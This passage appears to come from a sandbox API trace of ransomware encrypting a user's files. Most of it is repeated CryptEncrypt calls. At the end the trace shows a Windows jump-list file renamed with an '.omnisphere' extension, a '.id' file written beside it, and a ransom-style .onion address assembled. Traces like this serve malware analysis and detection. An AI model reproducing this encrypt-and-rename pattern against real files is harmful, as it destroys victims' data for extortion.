hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.074] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.074] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0128.074] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.074] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.074] GetProcessHeap () returned 0x1600000 [0128.074] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x16fc420 [0128.074] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\78f0afb5bd4bb278.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\78f0afb5bd4bb278.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\78f0afb5bd4bb278.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\78f0afb5bd4bb278.automaticdestinations-ms.omnisphere")) returned 1 [0128.075] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\78f0afb5bd4bb278.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\78f0afb5bd4bb278.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\78f0afb5bd4bb278.automaticDestinations-ms.omnisphere.id" [0128.075] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\78f0afb5bd4bb278.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\78f0afb5bd4bb278.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.077] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.078] CloseHandle (hObject=0x388) returned 1 [0128.079] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.079] CloseHandle (hObject=0x3c0) returned 1 [0128.079] SetEndOfFile (hFile=0x288) returned 1 [0128.079] FlushFileBuffers (hFile=0x288) returned 1 [0128.083] CloseHandle (hObject=0x288) returned 1 [0128.083] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\78f0afb5bd4bb278.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.084] GetProcessHeap () returned 0x1600000 [0128.084] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fc738 [0128.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.084] GetProcessHeap () returned 0x1600000 [0128.084] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1f00 [0128.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1f00, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.084] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 